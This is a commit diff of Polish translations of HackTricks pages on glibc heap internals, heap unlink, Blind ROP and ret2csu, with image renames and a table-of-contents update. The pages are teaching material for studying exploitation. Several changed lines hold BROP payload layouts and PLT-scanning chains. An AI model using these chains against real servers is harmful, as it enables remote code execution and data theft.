Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
BIN
.gitbook/assets/image (10) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 287 KiB After Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 216 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 62 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 461 KiB |
Before Width: | Height: | Size: 461 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 22 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 114 KiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 284 KiB After Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 146 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 453 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 160 KiB |
BIN
.gitbook/assets/image (8) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 3.1 KiB |
BIN
.gitbook/assets/image (9) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 594 KiB After Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 26 KiB After Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 216 KiB After Width: | Height: | Size: 4.1 KiB |
12
SUMMARY.md
|
@ -839,8 +839,16 @@
|
|||
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
|
||||
* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
|
||||
* [5. Fine-Tuning for Classification](todo/llm-training-data-preparation/5.-fine-tuning-for-classification.md)
|
||||
* [4. Pre-training](todo/llm-training-data-preparation/4.-pre-training.md)
|
||||
* [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
|
||||
* [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
|
||||
* [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
|
||||
* [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
|
||||
* [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
|
||||
* [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
|
||||
* [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
|
||||
* [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
|
||||
* [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
|
||||
* [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
|
||||
* [Burp Suite](todo/burp-suite.md)
|
||||
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||
* [Interesting HTTP](todo/interesting-http.md)
|
||||
|
|
|
@ -15,7 +15,7 @@ Gdy żądane są dane do przechowania w heapie, przydzielana jest mu pewna przes
|
|||
Istnieją różne sposoby rezerwacji przestrzeni, głównie w zależności od używanego kosza, ale ogólna metodologia jest następująca:
|
||||
|
||||
* Program zaczyna od żądania określonej ilości pamięci.
|
||||
* Jeśli na liście kawałków znajduje się dostępny kawałek wystarczająco duży, aby zaspokoić żądanie, zostanie użyty.
|
||||
* Jeśli na liście kawałków znajduje się dostępny wystarczająco duży, aby spełnić żądanie, zostanie użyty.
|
||||
* Może to nawet oznaczać, że część dostępnego kawałka zostanie użyta do tego żądania, a reszta zostanie dodana do listy kawałków.
|
||||
* Jeśli na liście nie ma dostępnego kawałka, ale w przydzielonej pamięci heapowej jest jeszcze miejsce, menedżer heapów tworzy nowy kawałek.
|
||||
* Jeśli nie ma wystarczającej przestrzeni w heapie, menedżer heapów prosi jądro o rozszerzenie pamięci przydzielonej do heapu, a następnie używa tej pamięci do wygenerowania nowego kawałka.
|
||||
|
@ -27,26 +27,26 @@ Zauważ, że jeśli żądana **pamięć przekracza próg**, **`mmap`** zostanie
|
|||
|
||||
W **aplikacjach wielowątkowych** menedżer heapów musi zapobiegać **warunkom wyścigu**, które mogą prowadzić do awarii. Początkowo robiono to za pomocą **globalnego mutexa**, aby zapewnić, że tylko jeden wątek może uzyskać dostęp do heapu w danym czasie, ale spowodowało to **problemy z wydajnością** z powodu wąskiego gardła spowodowanego mutexem.
|
||||
|
||||
Aby to rozwiązać, alokator heapów ptmalloc2 wprowadził "areny", gdzie **każda arena** działa jako **oddzielny heap** z własnymi **strukturami** danych i **mutexem**, co pozwala wielu wątkom na wykonywanie operacji na heapie bez zakłócania się nawzajem, o ile używają różnych aren.
|
||||
Aby to rozwiązać, alokator heapów ptmalloc2 wprowadził "areny", gdzie **każda arena** działa jako **osobny heap** z **własnymi** strukturami **danymi** i **mutexem**, co pozwala wielu wątkom na wykonywanie operacji na heapie bez zakłócania się nawzajem, o ile używają różnych aren.
|
||||
|
||||
Domyślna arena "główna" obsługuje operacje na heapie dla aplikacji jednowątkowych. Gdy **nowe wątki** są dodawane, menedżer heapów przypisuje im **wtórne areny**, aby zmniejszyć kontencję. Najpierw próbuje podłączyć każdy nowy wątek do nieużywanej areny, tworząc nowe, jeśli to konieczne, do limitu 2 razy liczba rdzeni CPU dla systemów 32-bitowych i 8 razy dla systemów 64-bitowych. Gdy limit zostanie osiągnięty, **wątki muszą dzielić areny**, co prowadzi do potencjalnej kontencji.
|
||||
|
||||
W przeciwieństwie do głównej areny, która rozszerza się za pomocą wywołania systemowego `brk`, wtórne areny tworzą "subheapy" za pomocą `mmap` i `mprotect`, aby symulować zachowanie heapu, co pozwala na elastyczne zarządzanie pamięcią dla operacji wielowątkowych.
|
||||
W przeciwieństwie do głównej areny, która rozszerza się za pomocą wywołania systemowego `brk`, wtórne areny tworzą "podheapy" za pomocą `mmap` i `mprotect`, aby symulować zachowanie heapu, co pozwala na elastyczność w zarządzaniu pamięcią dla operacji wielowątkowych.
|
||||
|
||||
### Subheaps
|
||||
|
||||
Subheapy służą jako rezerwy pamięci dla wtórnych aren w aplikacjach wielowątkowych, pozwalając im na wzrost i zarządzanie własnymi regionami heapu oddzielnie od głównego heapu. Oto jak subheapy różnią się od początkowego heapu i jak działają:
|
||||
Podheapy służą jako rezerwy pamięci dla wtórnych aren w aplikacjach wielowątkowych, pozwalając im na wzrost i zarządzanie własnymi regionami heapu oddzielnie od głównego heapu. Oto jak podheapy różnią się od początkowego heapu i jak działają:
|
||||
|
||||
1. **Początkowy Heap vs. Subheaps**:
|
||||
1. **Początkowy Heap vs. Podheapy**:
|
||||
* Początkowy heap znajduje się bezpośrednio po binarnej wersji programu w pamięci i rozszerza się za pomocą wywołania systemowego `sbrk`.
|
||||
* Subheapy, używane przez wtórne areny, są tworzone za pomocą `mmap`, wywołania systemowego, które mapuje określony region pamięci.
|
||||
* Podheapy, używane przez wtórne areny, są tworzone za pomocą `mmap`, wywołania systemowego, które mapuje określony region pamięci.
|
||||
2. **Rezerwacja pamięci za pomocą `mmap`**:
|
||||
* Gdy menedżer heapów tworzy subheap, rezerwuje dużą blok pamięci za pomocą `mmap`. Ta rezerwacja nie przydziela pamięci natychmiast; po prostu wyznacza region, którego inne procesy systemowe lub alokacje nie powinny używać.
|
||||
* Domyślny rozmiar rezerwacji dla subheapa wynosi 1 MB dla procesów 32-bitowych i 64 MB dla procesów 64-bitowych.
|
||||
* Gdy menedżer heapów tworzy podheap, rezerwuje dużą blok pamięci za pomocą `mmap`. Ta rezerwacja nie przydziela pamięci natychmiast; po prostu wyznacza region, którego inne procesy systemowe lub alokacje nie powinny używać.
|
||||
* Domyślny rozmiar rezerwacji dla podheapa wynosi 1 MB dla procesów 32-bitowych i 64 MB dla procesów 64-bitowych.
|
||||
3. **Stopniowe rozszerzanie za pomocą `mprotect`**:
|
||||
* Zarezerwowany region pamięci jest początkowo oznaczony jako `PROT_NONE`, co wskazuje, że jądro nie musi jeszcze przydzielać fizycznej pamięci do tej przestrzeni.
|
||||
* Aby "rozszerzyć" subheap, menedżer heapów używa `mprotect`, aby zmienić uprawnienia stron z `PROT_NONE` na `PROT_READ | PROT_WRITE`, co skłania jądro do przydzielenia fizycznej pamięci do wcześniej zarezerwowanych adresów. To podejście krok po kroku pozwala subheapowi na rozszerzanie w miarę potrzeb.
|
||||
* Gdy cały subheap zostanie wyczerpany, menedżer heapów tworzy nowy subheap, aby kontynuować alokację.
|
||||
* Aby "rozszerzyć" podheap, menedżer heapów używa `mprotect`, aby zmienić uprawnienia stron z `PROT_NONE` na `PROT_READ | PROT_WRITE`, co skłania jądro do przydzielenia fizycznej pamięci do wcześniej zarezerwowanych adresów. To podejście krok po kroku pozwala na rozszerzenie podheapa w miarę potrzeb.
|
||||
* Gdy cały podheap zostanie wyczerpany, menedżer heapów tworzy nowy podheap, aby kontynuować alokację.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
|
@ -76,7 +76,7 @@ W przypadku struktur **`malloc_state`** stert wątków, znajdują się one **we
|
|||
|
||||
Jest kilka interesujących rzeczy do zauważenia w tej strukturze (zobacz kod C poniżej):
|
||||
|
||||
* `__libc_lock_define (, mutex);` jest tam, aby upewnić się, że ta struktura ze sterty jest dostępna przez 1 wątek w danym czasie
|
||||
* `__libc_lock_define (, mutex);` jest tam, aby upewnić się, że ta struktura ze sterty jest dostępna przez 1 wątek na raz
|
||||
* Flagi:
|
||||
* ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
@ -86,8 +86,8 @@ Jest kilka interesujących rzeczy do zauważenia w tej strukturze (zobacz kod C
|
|||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* Wskaźnik `mchunkptr bins[NBINS * 2 - 2];` zawiera **wskaźniki** do **pierwszych i ostatnich kawałków** małych, dużych i nieposortowanych **binów** (minus 2, ponieważ indeks 0 nie jest używany)
|
||||
* Dlatego **pierwszy kawałek** tych binów będzie miał **wskaźnik wsteczny do tej struktury**, a **ostatni kawałek** tych binów będzie miał **wskaźnik do przodu** do tej struktury. Co zasadniczo oznacza, że jeśli możesz **wyciekować te adresy w głównej arenie**, będziesz miał wskaźnik do struktury w **libc**.
|
||||
* Wskaźnik `mchunkptr bins[NBINS * 2 - 2];` zawiera **wskaźniki** do **pierwszych i ostatnich kawałków** małych, dużych i nieposortowanych **koszy** (minus 2, ponieważ indeks 0 nie jest używany)
|
||||
* Dlatego **pierwszy kawałek** tych koszy będzie miał **wskaźnik wsteczny do tej struktury**, a **ostatni kawałek** tych koszy będzie miał **wskaźnik do przodu** do tej struktury. Co zasadniczo oznacza, że jeśli możesz **wyciekować te adresy w głównej arenie**, będziesz miał wskaźnik do struktury w **libc**.
|
||||
* Struktury `struct malloc_state *next;` i `struct malloc_state *next_free;` to listy połączone aren
|
||||
* Kawałek `top` to ostatni "kawałek", który jest zasadniczo **całą pozostałą przestrzenią sterty**. Gdy kawałek top jest "pusty", sterta jest całkowicie wykorzystana i musi zażądać więcej przestrzeni.
|
||||
* Kawałek `last reminder` pochodzi z przypadków, gdy kawałek o dokładnym rozmiarze nie jest dostępny i dlatego większy kawałek jest dzielony, a wskaźnik pozostałej części jest umieszczany tutaj.
|
||||
|
@ -351,7 +351,7 @@ people extending or adapting this malloc.
|
|||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
* Ustaw nagłówek i stopkę (gdy używane są numery chunków)
|
||||
* Ustaw nagłówek i stopkę (gdy używane są numery fragmentów)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
|
@ -414,7 +414,7 @@ Ustaw punkt przerwania na końcu funkcji main i sprawdźmy, gdzie przechowywane
|
|||
|
||||
Można zobaczyć, że ciąg panda został przechowany pod adresem `0xaaaaaaac12a0` (który był adresem zwróconym przez malloc w `x0`). Sprawdzając 0x10 bajtów przed, można zobaczyć, że `0x0` oznacza, że **poprzedni kawałek nie jest używany** (długość 0) i że długość tego kawałka wynosi `0x21`.
|
||||
|
||||
Dodatkowe zarezerwowane miejsca (0x21-0x10=0x11) pochodzą z **dodanych nagłówków** (0x10) i 0x1 nie oznacza, że zarezerwowano 0x21B, ale ostatnie 3 bity długości aktualnego nagłówka mają specjalne znaczenie. Ponieważ długość jest zawsze wyrównana do 16 bajtów (na maszynach 64-bitowych), te bity nigdy nie będą używane przez liczbę długości.
|
||||
Dodatkowe zarezerwowane miejsca (0x21-0x10=0x11) pochodzą z **dodanych nagłówków** (0x10) i 0x1 nie oznacza, że zarezerwowano 0x21B, ale ostatnie 3 bity długości aktualnego nagłówka mają pewne specjalne znaczenia. Ponieważ długość jest zawsze wyrównana do 16 bajtów (na maszynach 64-bitowych), te bity w rzeczywistości nigdy nie będą używane przez liczbę długości.
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
|
@ -470,19 +470,19 @@ return 0;
|
|||
|
||||
Debugując poprzedni przykład, można zobaczyć, że na początku istnieje tylko 1 arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Następnie, po wywołaniu pierwszego wątku, tego, który wywołuje malloc, tworzona jest nowa arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
a wewnątrz niej można znaleźć kilka kawałków:
|
||||
a wewnątrz niej można znaleźć kilka chunków:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
Sprawdź, jakie są bins i jak są zorganizowane oraz jak pamięć jest przydzielana i zwalniana w:
|
||||
Sprawdź, jakie są bins i jak są zorganizowane oraz jak pamięć jest alokowana i zwalniana w:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
|
|
|
@ -67,7 +67,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
Sprawdź to świetne graficzne wyjaśnienie procesu unlink:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Kontrole bezpieczeństwa
|
||||
|
||||
|
@ -97,7 +97,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -29,19 +29,19 @@ Atak oparty jest na następującym scenariuszu:
|
|||
|
||||
### **2. Bruteforce canary** aby go wyciekł
|
||||
|
||||
### **3. Bruteforce przechowywanych adresów RBP i RIP** na stosie, aby je wyciekł
|
||||
### **3. Bruteforce przechowywanych adresów RBP i RIP** w stosie, aby je wyciekł
|
||||
|
||||
Więcej informacji na temat tych procesów można znaleźć [tutaj (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) i [tutaj (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
Więcej informacji na temat tych procesów można znaleźć [tutaj (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) oraz [tutaj (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
|
||||
### **4. Znajdź gadget stop**
|
||||
|
||||
Ten gadget zasadniczo pozwala potwierdzić, że coś interesującego zostało wykonane przez gadget ROP, ponieważ wykonanie nie spowodowało awarii. Zazwyczaj ten gadget będzie czymś, co **zatrzymuje wykonanie** i jest umieszczone na końcu łańcucha ROP, gdy szuka się gadgetów ROP, aby potwierdzić, że konkretny gadget ROP został wykonany.
|
||||
Ten gadget zasadniczo pozwala potwierdzić, że coś interesującego zostało wykonane przez gadget ROP, ponieważ wykonanie nie spowodowało awarii. Zwykle ten gadget będzie czymś, co **zatrzymuje wykonanie** i jest umieszczone na końcu łańcucha ROP, gdy szuka się gadgetów ROP, aby potwierdzić, że konkretny gadget ROP został wykonany.
|
||||
|
||||
### **5. Znajdź gadget BROP**
|
||||
|
||||
Ta technika wykorzystuje gadget [**ret2csu**](ret2csu.md). A to dlatego, że jeśli uzyskasz dostęp do tego gadgetu w środku niektórych instrukcji, otrzymasz gadgety do kontrolowania **`rsi`** i **`rdi`**:
|
||||
Ta technika wykorzystuje gadget [**ret2csu**](ret2csu.md). I to dlatego, że jeśli uzyskasz dostęp do tego gadgetu w środku jakichś instrukcji, otrzymasz gadgety do kontrolowania **`rsi`** i **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
To byłyby gadgety:
|
||||
|
||||
|
@ -54,9 +54,9 @@ Zauważ również, że gadget ret2csu ma **bardzo unikalny podpis**, ponieważ b
|
|||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
Jeśli **STOP jest wykonany**, to zasadniczo oznacza, że **adres, który wyciąga 6 rejestrów** ze stosu został użyty. Lub że użyty adres był również adresem STOP.
|
||||
Jeśli **STOP zostanie wykonany**, oznacza to zasadniczo, że **adres, który wyciąga 6 rejestrów** ze stosu został użyty. Lub że użyty adres był również adresem STOP.
|
||||
|
||||
Aby **usunąć tę ostatnią opcję**, wykonuje się nowy łańcuch taki jak poniżej i nie powinien on wykonać gadgetu STOP, aby potwierdzić, że poprzedni rzeczywiście wyciągnął 6 rejestrów:
|
||||
Aby **usunąć tę ostatnią opcję**, wykonuje się nowy łańcuch taki jak poniżej i nie powinien on wykonywać gadgetu STOP, aby potwierdzić, że poprzedni rzeczywiście wyciągnął 6 rejestrów:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
|
@ -64,7 +64,7 @@ Znając adres gadgetu ret2csu, można **wnioskować adres gadgetów do kontrolow
|
|||
|
||||
### 6. Znajdź PLT
|
||||
|
||||
Tabela PLT może być przeszukiwana od 0x400000 lub z **wyciekłego adresu RIP** ze stosu (jeśli **PIE** jest używane). **Wpisy** tabeli są **oddzielone o 16B** (0x10B), a gdy jedna funkcja jest wywoływana, serwer nie zawiesza się, nawet jeśli argumenty nie są poprawne. Ponadto, sprawdzanie adresu wpisu w **PLT + 6B również nie powoduje awarii**, ponieważ jest to pierwszy kod wykonywany.
|
||||
Tabela PLT może być przeszukiwana od 0x400000 lub z **wyciekłego adresu RIP** ze stosu (jeśli **PIE** jest używane). **Wpisy** tabeli są **oddzielone o 16B** (0x10B), a gdy wywoływana jest jedna funkcja, serwer nie zawiesza się, nawet jeśli argumenty nie są poprawne. Ponadto, sprawdzanie adresu wpisu w **PLT + 6B również nie powoduje awarii**, ponieważ jest to pierwszy kod wykonywany.
|
||||
|
||||
Dlatego można znaleźć tabelę PLT, sprawdzając następujące zachowania:
|
||||
|
||||
|
@ -83,7 +83,7 @@ Można znaleźć lokalizację **`strcmp`** w PLT na podstawie jej zachowania, wy
|
|||
* strcmp(\<read addr>, \<non read addr>) -> awaria
|
||||
* strcmp(\<read addr>, \<read addr>) -> brak awarii
|
||||
|
||||
Można to sprawdzić, wywołując każdy wpis w tabeli PLT lub używając **wolnej ścieżki PLT**, która zasadniczo polega na **wywołaniu wpisu w tabeli PLT + 0xb** (co wywołuje **`dlresolve`**) a następnie na stosie przez **numer wpisu, który chce się zbadać** (zaczynając od zera), aby przeskanować wszystkie wpisy PLT od pierwszego:
|
||||
Można to sprawdzić, wywołując każdy wpis w tabeli PLT lub używając **wolnej ścieżki PLT**, która zasadniczo polega na **wywołaniu wpisu w tabeli PLT + 0xb** (co wywołuje **`dlresolve`**) a następnie w stosie przez **numer wpisu, który chce się zbadać** (zaczynając od zera), aby przeskanować wszystkie wpisy PLT od pierwszego:
|
||||
|
||||
* strcmp(\<non read addr>, \<read addr>) -> awaria
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Spowoduje awarię
|
||||
|
@ -101,12 +101,12 @@ Pamiętaj, że:
|
|||
Mając znaleziony `strcmp`, można ustawić **`rdx`** na wartość większą niż 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Zauważ, że zazwyczaj `rdx` będzie już zawierać wartość większą niż 0, więc ten krok może nie być konieczny.
|
||||
Zauważ, że zazwyczaj `rdx` będzie już miało wartość większą niż 0, więc ten krok może nie być konieczny.
|
||||
{% endhint %}
|
||||
|
||||
### 8. Znajdowanie Write lub ekwiwalent
|
||||
|
||||
Na koniec potrzebny jest gadget, który eksfiltruje dane, aby wyeksfiltrować binarny. A w tym momencie można **kontrolować 2 argumenty i ustawić `rdx` większy niż 0.**
|
||||
Na koniec potrzebny jest gadget, który eksfiltruje dane, aby wyeksfiltrować binarny. A w tym momencie można **kontrolować 2 argumenty i ustawić `rdx` większe niż 0.**
|
||||
|
||||
Istnieją 3 powszechne funkcje, które można wykorzystać do tego:
|
||||
|
||||
|
|
|
@ -63,7 +63,7 @@ ret
|
|||
Warunki będą następujące:
|
||||
|
||||
* `[r12 + rbx*8]` musi wskazywać na adres przechowujący wywoływalną funkcję (jeśli nie masz pomysłu i nie ma pie, możesz po prostu użyć funkcji `_init`):
|
||||
* Jeśli _init znajduje się pod `0x400560`, użyj GEF, aby wyszukać wskaźnik w pamięci do niego i spraw, aby `[r12 + rbx*8]` był adresem z wskaźnikiem do _init:
|
||||
* Jeśli \_init znajduje się pod adresem `0x400560`, użyj GEF, aby wyszukać wskaźnik w pamięci do niego i spraw, aby `[r12 + rbx*8]` był adresem z wskaźnikiem do \_init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
|
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
Innym sposobem na kontrolowanie **`rdi`** i **`rsi`** z gadżetu ret2csu jest dostęp do konkretnych offsetów:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Sprawdź tę stronę po więcej informacji:
|
||||
|
||||
|
@ -94,10 +94,10 @@ Sprawdź tę stronę po więcej informacji:
|
|||
|
||||
Wyobraź sobie, że chcesz wykonać syscall lub wywołać funkcję taką jak `write()`, ale potrzebujesz konkretnych wartości w rejestrach `rdx` i `rsi` jako parametrów. Zwykle szukałbyś gadżetów, które bezpośrednio ustawiają te rejestry, ale nie możesz znaleźć żadnych.
|
||||
|
||||
Tutaj wkracza **ret2csu**:
|
||||
Tutaj wchodzi w grę **ret2csu**:
|
||||
|
||||
1. **Ustaw rejestry**: Użyj pierwszego magicznego gadżetu, aby popchnąć wartości ze stosu do rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
|
||||
2. **Użyj drugiego gadżetu**: Gdy te rejestry są ustawione, używasz drugiego gadżetu. To pozwala ci przenieść wybrane wartości do `rdx` i `rsi` (z r14 i r13, odpowiednio), przygotowując parametry do wywołania funkcji. Ponadto, kontrolując `r15` i `rbx`, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczasz i umieszczasz w `[r15 + rbx*8]`.
|
||||
1. **Ustaw rejestry**: Użyj pierwszego magicznego gadżetu, aby zrzucić wartości ze stosu do rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
|
||||
2. **Użyj drugiego gadżetu**: Gdy te rejestry są ustawione, używasz drugiego gadżetu. To pozwala ci przenieść wybrane wartości do `rdx` i `rsi` (z r14 i r13, odpowiednio), przygotowując parametry do wywołania funkcji. Co więcej, kontrolując `r15` i `rbx`, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczasz i umieszczasz w `[r15 + rbx*8]`.
|
||||
|
